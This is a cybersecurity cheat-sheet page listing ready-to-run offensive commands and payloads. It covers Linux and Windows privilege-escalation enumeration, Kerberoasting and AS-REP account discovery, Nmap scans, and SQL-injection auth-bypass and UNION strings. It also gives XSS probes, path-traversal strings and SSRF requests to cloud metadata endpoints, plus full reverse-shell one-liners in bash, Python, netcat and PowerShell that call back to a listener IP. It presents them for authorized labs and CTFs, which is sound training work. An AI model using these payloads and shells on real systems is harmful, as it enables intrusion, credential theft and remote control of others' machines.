Security Tools/Cheat Sheets

Cybersecurity Cheat Sheets & Payloads

Instant, verified commands and payloads for Linux PrivEsc, Windows & Active Directory, Nmap scanning, Web Exploitation, and Reverse Shells.

🐧

Linux Privilege Escalation

Essential commands to identify misconfigurations, SUID binaries, cron jobs, and sudo permissions.

Check Sudo Rights

List allowed commands for current user (look for NOPASSWD or GTFOBins binaries).

sudo -l

#sudo#enumeration#quick

Find SUID Binaries

Find root-owned binaries with the SUID bit set that execute with root privileges.

find / -perm -4000 -user root -type f -exec ls -la {} + 2>/dev/null

#suid#permissions

Check Linux Capabilities

Enumerate binaries with elevated Linux capabilities (e.g., cap_setuid, cap_net_raw).

getcap -r / 2>/dev/null

#capabilities#linux

Inspect System Crontabs

View scheduled tasks and cron directories for writable or unquoted scripts.

cat /etc/crontab /etc/cron.*/* 2>/dev/null | grep -v '^#'

#cron#persistence

Find World-Writable Files

Search for files that anyone can write to (excluding /proc and /sys).

find / -writable -type f ! -path '/proc/*' ! -path '/sys/*' 2>/dev/null | head -25

#permissions#writable

Spawn Full Interactive TTY Shell

Upgrade a dumb reverse shell to a full PTY with job control.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then press Ctrl+Z, then run:
# stty raw -echo; fg
# export TERM=xterm

#tty#shell#terminal

🪟

Windows & Active Directory

PowerShell and CMD commands for local privileges, services, Domain Controllers, and Kerberos auditing.

Check User Privileges

Audit current token privileges (look for SeImpersonatePrivilege, SeDebugPrivilege).

whoami /priv
whoami /groups

#windows#whoami#privileges

Unquoted Service Path Scan

Identify services with spaces in the executable path lacking quotes.

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

#windows#services#privesc

Query Domain Controllers

Discover domain controllers and domain trusts from a domain-joined machine.

nltest /dclist:$env:USERDOMAIN
nltest /domain_trusts

#ad#domain#recon

Enumerate Kerberoastable SPNs

Find user accounts with ServicePrincipalNames configured via PowerShell.

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName

#ad#kerberos#spn

Audit Pre-Auth Disabled Accounts

Find accounts with Kerberos pre-authentication disabled (AS-REP roasting candidates).

Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $true' -Properties DoesNotRequirePreAuth | Select-Object SamAccountName, Enabled

#ad#kerberos#asrep

Triage Failed Logins (Event 4625)

Audit security event log for failed authentication attempts in PowerShell.

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 10 | Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='IP';E={$_.Properties[19].Value}} | Format-Table -AutoSize

#soc#logs#event-id

📡

Nmap & Port Scanning

Fast and reliable network discovery flags, service versioning, and NSE vulnerability scripts.

Standard Fast Syn Scan

Scan top 1,000 ports with service version detection and default safe NSE scripts.

nmap -sV -sC -Pn -T4 10.10.10.X

#nmap#scan#basics

Full Port Scan (All 65,535 Ports)

Scan every TCP port quickly to uncover non-standard and hidden services.

nmap -p- -T4 --min-rate 1000 -Pn 10.10.10.X

#nmap#full-scan

UDP Service Scan

Scan common UDP ports (DNS, SNMP, DHCP, NTP) with version detection.

sudo nmap -sU --top-ports 50 -sV 10.10.10.X

#nmap#udp

Vulnerability Scanning (NSE)

Run the safe vulnerability check script category against open services.

nmap -sV --script=vuln 10.10.10.X

#nmap#nse#vuln

SMB & Active Directory NSE Scripts

Audit SMB shares, OS version, and known SMB security flaws.

nmap -p 139,445 --script smb-os-discovery,smb-security-mode,smb-vuln* 10.10.10.X

#nmap#smb#ad

Export All Output Formats

Save scan output in normal (.nmap), greppable (.gnmap), and XML (.xml) formats.

nmap -sV -sC -oA target_scan 10.10.10.X

#nmap#output#reporting

🌐

Web Security & Payloads

Common test vectors for SQL Injection, XSS probes, SSRF bypasses, and Directory Traversal.

SQLi Auth Bypass Probes

Classic authentication bypass strings for vulnerable login queries.

admin' --
admin' #
' OR '1'='1' --
' OR 1=1 #
admin' OR '1'='1

#sqli#auth-bypass

SQLi Union Column Extraction

Determine number of returned query columns and extract database name.

' ORDER BY 1--
' ORDER BY 5--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT @@version, database(), user()--

#sqli#union

XSS Polyglot & Context Probes

Non-destructive proof-of-concept probes to detect reflected or stored XSS.

<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
"><svg/onload=alert(document.domain)>
javascript:alert(document.cookie)

#xss#polyglot

Directory / Path Traversal

Probe for arbitrary file reading on Linux and Windows targets.

../../../../../etc/passwd
..\..\..\..\..\windows\win.ini
..%252f..%252f..%252fetc%252fpasswd
/var/www/html/../../../etc/passwd

#lfi#path-traversal

SSRF Localhost & Cloud Metadata

Target internal loopback and cloud metadata endpoints via vulnerable URL parameters.

http://127.0.0.1:8080/admin
http://localhost/server-status
http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/computeMetadata/v1/ (GCP)

#ssrf#cloud

⚡

Reverse Shells & Networking

One-liner reverse shells for authorized lab environments and CTF challenges.

Bash TCP Reverse Shell

Standard interactive bash shell connecting back to your listener IP and port.

bash -i >& /dev/tcp/10.10.14.X/4444 0>&1

#bash#reverse-shell

Python 3 Reverse Shell

Cross-platform python socket connection spawning /bin/sh.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.X",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

#python#reverse-shell

Netcat OpenBSD with -e / Named Pipe

Netcat reverse shell with FIFO pipe fallback if -e is disabled.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.X 4444 > /tmp/f

#netcat#fifo

PowerShell Windows Reverse Shell

Native PowerShell TCP stream connection for Windows lab targets.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.X',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#powershell#windows